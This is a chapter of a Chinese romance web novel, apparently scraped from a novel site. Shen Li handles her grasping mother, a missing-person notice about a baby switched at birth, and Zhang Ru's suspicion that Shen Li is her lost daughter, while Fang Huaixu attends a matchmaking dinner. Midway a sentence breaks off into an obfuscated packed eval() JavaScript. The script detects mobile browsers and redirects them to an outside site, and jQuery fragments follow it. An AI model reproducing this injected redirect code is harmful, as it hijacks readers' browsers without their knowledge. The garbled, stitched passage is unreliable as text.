“你怎么忽然打电话给我了?”
沈荔觉得方淮序不是那种闲来无事会打电话的人,至少在他身边四年,他从未闲来无事找她唠嗑的时候,她不免心有疑惑。
方淮序单手打开黑色金属盒,另只手握着手机,贴近耳边,她低柔的声音在耳边划开,他抽烟的手顿住,默了片刻,还是没能开口,只道:“没事。”
他说完,把金属盒子丢在办公桌上,是宣泄某种情绪。
可惜隔着电话,沈荔没看见他发脾气的样子,她什么都察觉不到,甚至都不知道他眼里闪过平日从未有过的微妙挣扎,她低声道:“那我这周末过去找你呀。”
她误以为他是想她了。
又很内敛。
所以她主动化解这份思念,因为她也想他。
但他的回答出乎意料,她听他道:“先别来,”他默了,似乎有所察觉不对,片刻后补充了句:“下周去上海找你。”
沈荔没告诉他,她已经打算去找他,猜想他也不记得自己的生日,她没多想,他主动打电话给她的这份喜悦已经让她想不到更深层面。
她低声道:“好。”
方淮序挂断电话前,还赞了她句:“乖。”
-
当天夜里,上海别墅区。
主卧暖黄的灯开着,章茹坐在化妆桌前,看着镜子里的自己。
丈夫温善杰推开门走上前,手搭在她的肩膀处,语气温和关心道:“怎么今天从外面回来后,总是发呆,心不在焉的?”
章茹手搭在丈夫手背上,以此找寻些温度。她很早就开始不对劲了,只是今天才显露出来。章茹犹豫片刻,起身从抽屉里拿出泛黄的老照片,她指了指照片里的姑娘,道:“这是谁?”
“这不是年轻时候的你吗?”温善杰道:“不过你到底怎么了?我很担心你,你不要吓我。”
章茹把照片放在温善杰的手心,低声道:“如果现在你遇见长的和照片上很像很像的年轻人,你会觉得她是温汐吗?”
温善杰心知肚明,章茹说的温汐并不是现在她们的女儿温汐。
而是他们的亲生女儿温汐。
大学时期,温汐因为在国外进了赛车俱乐部,出了车祸大出血,急需输血的时候,温善杰和章茹对了血型才意外得知,血型匹配不上。
当温汐醒来后,测了DNA才知道,自己养了二十几年的女儿,并非亲生。
温善杰立刻正色,道:“这是什么意思?”
章茹把原始的事情告诉他,温善杰听完,若有所思。
他并非没有回应,而是自从温汐出了车祸以来,这几年来她们已经找过无数次,每次都以失败告终,长的相似的,眉眼差不多的,章茹基本都会接近她们,然后让他们做个DNA。
温善杰看章茹这样,也不好说什么,因为当她得知温汐并非他们的亲生女儿时,章茹就难以接受真相,导致晕厥过去,醒来就问,自己的女儿到底在哪。
这些年,章茹把希望寄托在找寻温汐身上,他不好打击她,却又怕她这次和以前一样失败,到头来又大病一场,他拍拍妻子的肩膀,只好迂回说道:“温汐不是说过,会在广告公司投放寻人启事,等她消息吧。”
他已经失望太多次了,他不敢再拿妻子的安危和情绪开玩笑。
他赌不起。
章茹和往常那般,道:“这次真的不同,她长的真的和我很像。”
她以前也是这么说的。
但哪次是真的?
温善杰抱着妻子,吻了吻她的额头。
暖黄灯光聚拢在他们身上,他们在迷途中等待女儿的归来。
-
翌日。
沈荔没有搭理刘娟,照常去公司上班,出门前,刘娟道:“你怎么又去上班,我和你弟好不容易来了,怎么不请个假带你弟弟去迪士尼玩玩——”
“我不去上班怎么给你钱?”话没说完,沈荔冷笑:“行啊,我可以带你去迪士尼,正好那么久我还没去过呢,那你给钱,或者下个月生活费里扣。”
刘娟瞪着她。
沈荔对这个眼神习以为常,边挽起帆布包,边套上小白鞋,低声道:“瞪我也没用,要享受就要拿钱出来,谁消费,谁拿钱。”
“真是白眼狼。”刘娟在她出门前还嚷嚷着:“那你至少要让你男朋友见见我们——”
“你急什么?”
沈荔道:“等我稳定了肯定带他回去见你们。”
她现在学会搪塞,和刘娟这种人,没必要硬碰硬,万一惹她不开心,说不定上着班她就追到公司来,大呼小叫,闹得人仰马翻。
以前沈父就是和刘娟吃饭的时候拌了嘴,第二天,刘娟便去厂房里找沈父大闹,所以大家才会对沈家人那么大意见,没人敢惹刘娟这个疯子。
要是她现在说不会带男朋友回去,刘娟能当场在这闹。
沈荔没再搭理刘娟,坐上地铁去上班,地铁人满为患,她思考该怎么喊刘娟他们回去,毕竟今天周五,再等明天她去香山澳的计划就要延迟。
想到这,沈荔给昨天的酒店打电话,道:“302房间的,我不打算续费,如果十二点还没退房,你就去敲门喊他。”
沈耀向来有睡懒觉的习惯。如果他睡过头了,房费刘娟肯定会找她要。
她才不想给。
前台应了声,然后沈荔又给沈耀打了个电话,在沈耀发脾气前冷声开口:【妈今天早上说要带你去迪士尼,你赶紧醒来吧,晚点估计就买不到票了。】
沈荔说完把电话挂断。
去到公司她正常处理工作,待手头的事情弄完,她才不紧不慢的打开手机,发现刘娟给她打了好几通电话,又发了好多信息。
刘娟:【你和你弟说我要带他去迪士尼?】
刘娟:【票那么贵,我怎么带他去?】
刘娟:【你给我转钱。】
期间给她打了十来个电话。
最后又发来信息,刘娟:【我们晚点就回去,你不用送我了。】
沈荔摁灭手机,信息都没回复。
刘娟喜欢儿子,但是更喜欢钱,迪士尼的票价两个人算起来要一千块钱,刘娟才不会舍得花这些冤枉钱,沈耀又是根死脑筋,自小被宠坏了,想要的东西就非要拿到,脾气和刘娟一样倔。
两母子应该是在迪士尼这件事上闹起来了,否则也不会那么快回去。
不过看情况,还是刘娟赢了。
沈荔松口气,终于得以喘息。
她把笔丢在桌面,整个人往后靠在办公椅上,难得舒畅,只是她如今这幅样子,在已经息屏的电脑倒映出来。
她顿住,想起丢笔的那个瞬间,恍惚觉得自己这副惬意的模样是像极了某人。
那是他在上海常住的最后一周,上海业务已经稳定下来、那时候她还不知道,这是他们即将异地的开始,只记得那天,他坐在书房,签完最后一笔合同。
她走进去送咖啡的时候,就看见他难得好心情,把笔随手丢在书桌上,深邃眼眸难得带笑,朝她勾手道:“过来。”
沈荔走过去,他只拉她入怀,坐在他腿上,修长手指勾起她下巴。
“你怎么这么开心?”
她好奇。
他如实回答:“最后的流程走完了。”
沈荔如今才知道,原来解决了件麻烦事,是如此的快意。
只是她不理解的是,他庆祝喜悦的方式比较特别,当他说完后,他的手便不安分,从她衣服下摆进去往上,人人称赞的绅士,如今没个正经,教她探索新姿势,以此分享喜悦。
手机在桌面上震动,是刘娟再次打来电话。
沈荔沉默片刻,拿起手机往茶水间走去,摁下接听键的时候,刘娟道:“怎么才接电话?”
“开会。”
刘娟无话可说:“你让我带你弟去迪士尼,你又不给钱,搞得我们两个吵架,算了算了不说了,我们准备回去了,我和你说,昨天请我们吃饭的那个太太,肯定很有钱,我看她还挺喜欢你的,你记得好好巴结她,平时有事没事就去她家里,给她搞搞卫生,让她记得你的好。”
沈荔翻了个白眼,没应,因为刘娟最后才说出这么做的目的:“将来你弟毕业了,你就叫那个太太,给他找个好点的工作。”
沈荔才不会那么傻,虽然不知道章茹为什么对她那么好,但是她的身边好不容易有个对她好的人,她不会去伤害章茹,更不可能去图人家的东西。
沈荔连应都没应,只说要继续去开会,旋即把电话挂断。
没想到转身的时候,就看见章茹。
她手里依旧是咖啡和蛋糕。
沈荔这次主动打招呼,道:“温夫人。”
章茹应了声,然后把手上的咖啡和蛋糕递给沈荔,开口关心道:“你家里人回去了吗?”
不好让章茹拿着咖啡和蛋糕那么久,沈荔道谢接过,低声道:“刚才回去了。”
章茹莞尔又询问:“我听你妈妈口音,是粤东那边的,你从小就是粤东长大的吗?”
沈荔以为只是唠唠家常,便回答道:“对。我们老家是粤东河县的。”
“你和你弟弟隔得年龄好像不大。”
“我们就隔了一岁。”
“那你妈妈生完你之后那么快就怀第二胎吗?”章茹意识到自己说的话有些不对,只是又想起昨天晚上和温善杰又看了好久老照片,如今越看,越觉得相似,她这次的直觉比以前都强烈,她开口道:“阿姨能不能问问你,你今年多大?”
沈荔没觉得年龄是个不能说的秘密,她道:“我今年21岁,快22了。”
章茹握紧掌心,那句话几乎脱口而出的时候,身后忽然响起温汐的声音:“妈妈,你怎么在这里?”
章茹回眸,温汐正往这边走来,目光还看向沈荔手中的咖啡和蛋糕,她回神,把头发挽到耳后,是下意识撒谎,道:“没有,我看沈荔和你年纪差不多,觉得你们应该能玩到一块去。”
温汐噗嗤笑出来:“和我年纪差不多的多了去了,难道都要成为朋友呀。”她挽起章茹的手,“走吧,不是答应我陪我去做美容吗?”
章茹道好,温汐拽着章茹便离开。
沈荔看着她们的背影,只觉羡慕。
临下班时,部门主管请了下午的假,发来信息给沈荔。
主管:【你把我抽屉里的文件送到温总办公室去。】
沈荔回了句好。
然后去到主管办公室,打开抽屉拿起文件拍照给主管确定的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066755|195136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
功夫,她看见文件上赫然写着寻人启事这四个大字。
她垂眸往下看。这份寻人启事有些简陋,因为没有照片,没有任何外貌形容,简单的几个大字:寻找:XX年X月X日出生,女性,B型血,医院抱错孩子的,均可来去警局查询,不限城市,血缘已经报案DNA。
她垂眸,有些惊讶,因为联系人是简单的温字。
容不得她多想,主管已经发来消息:【对,就是这份,你送去给温总。】
她拿起文件,走到温汐办公室门口,章茹已经不在,因为温汐下午开了会,她敲了敲门,直到里面传来温汐的“进”她才推门而入。
“温总,这份文件是我们主管让我拿给你的。”沈荔把文件放在办公桌上,只见温汐抬起头看了她一眼。
随后淡淡道:“放这吧,辛苦了。”
沈荔走出来时,不免有些好奇,这份寻人启事,到底是谁的?
是温家的,还是温家帮人登记的?
她生平头次遇见抱错孩子这件事,没想到这种荒唐戏码还真有。
如果是温家人,那难怪章茹要对她这么好,或许是因为同龄,章茹对待这个年龄段的孩子,都觉得像自己的孩子。
她有些心疼章茹,如果真的是她,那她应该很难受。
几乎是瞬间的,沈荔拿起手机,想把这件事情告诉给方淮序。
她发信息:【我有件事要告诉你。】
但是发完后,她想了想,还是打算当面说,她收起手机,收拾东西下班,准备明天过去香山澳,瞒着他,在生日那天,给他个惊喜。
沈荔想到他们即将要见面,就忍不住弯弯嘴角。
对于她的出现,他会不会很惊喜?
-
收到沈荔信息的时候,方淮序正在家里。
秦老爷子不愿意在医院久待,于是大家只能跟着他回去秦家,临近吃饭的时间,老爷子特意打电话请他回来一趟。
越到晚上,越热闹,秦老爷子带着吸氧机,眉眼间也是藏不住的欣喜。
方淮序坐在沙发处,秦家舅舅正在泡茶,三家人齐聚一堂。
方家、秦家、还有——
“淮序,好久不见。”
何佳挽着何家父母亲的手,穿着白色打底羊绒衫,头发半扎起,笑意吟吟,俨然大家闺秀的模样,她抽出自己的手,走到方淮序身边坐下。
方淮序靠着沙发,掀起眼眸,看向何佳。
只是个简单的眼神,何佳的心便跳的有些快,她温柔笑笑,撩起耳边碎发,掩盖自己被他看后的慌乱,抬起手时,身上淡淡的香水味散发出来。
她知道今天是来做什么,也知道拿到这个机会,让方淮序同意相亲有多难得。所以她警醒自己,端庄最重要,方母最重要,不能因为太过于欢喜而失了分寸,只盯着方淮序。
“我先去看看秦爷爷,你门慢慢聊。”
她准备起身的时候,秦家舅舅打趣她:“还叫秦爷爷,差不多该改口喊外公了。”
何佳恰到好处的红了脸。
众人欢声笑语,调侃的话在耳边不绝,方淮序知道秦老爷子折腾这一出,其实就是为了给他相亲,哪怕医生叮嘱不要出院,他也非要。
他们怕他反悔,迫不及待请了何家人,把见面最简单的流程过了。
不是今天就是明天,怎么都躲不过。
所以他明知是相亲局,他也的确来了,但好像,没有答应相亲时那么爽快,也没有想象中那么轻松。他都不知道自己在想什么。
开席的时候,方家和秦家暧昧得留出两个座位,挨着的。
方淮序见状,脚步顿住。
何佳莞尔道:“淮序,你坐这。”
她的主动赢得了方家人和秦家人的好感。
方淮序拉开凳子坐下,何佳原本在等他绅士的替她拉开,但没等到,于是自然而然的自己拉开凳子在他身边坐下。
没关系,还差一步之遥,他们就能长相厮守。
自小她便知道自己要什么。
能成为方家预备的儿媳,她已经是人中龙凤。
这点无视和冷漠,打击不了她的热情。
席间,何佳专注给方淮序夹菜。
她无视他眼中的淡漠,也不会觉得他不吃而过不去面子,甚至还开起自己玩笑,道:“最近我也在学习做饭,方伯母和我说了好多你爱吃的菜,到时候我做给你吃。”
听到这话,方淮序掀起眼眸看了她一眼。
此时,无声胜有声,何佳浅笑,是不再试探,也不再开这类似有若无的玩笑话。
饭后,方淮序拿起茶几上的烟,没再坐着喝茶,道:“我出去抽根烟。”
他走到前院,不想去后院,因为去后院要经过女人堆里。
前院种了很多罗汉松。
他长身而立在罗汉松旁,拿起金属盒子,抽出根烟,火柴划拉点燃小火苗,他咬着烟,歪着头,把烟点燃,烟雾冲出来的瞬间,身后响起女人的声音:“淮序。”
他顿住,手夹下烟,眯着眼侧眸望去。
烟雾缭绕,一会儿功夫,何佳已经走到他的面前,带着香水味,她一如既往的温柔开口,“我听方姨说在上海,你有个相处很多年的小姑娘,是吗?”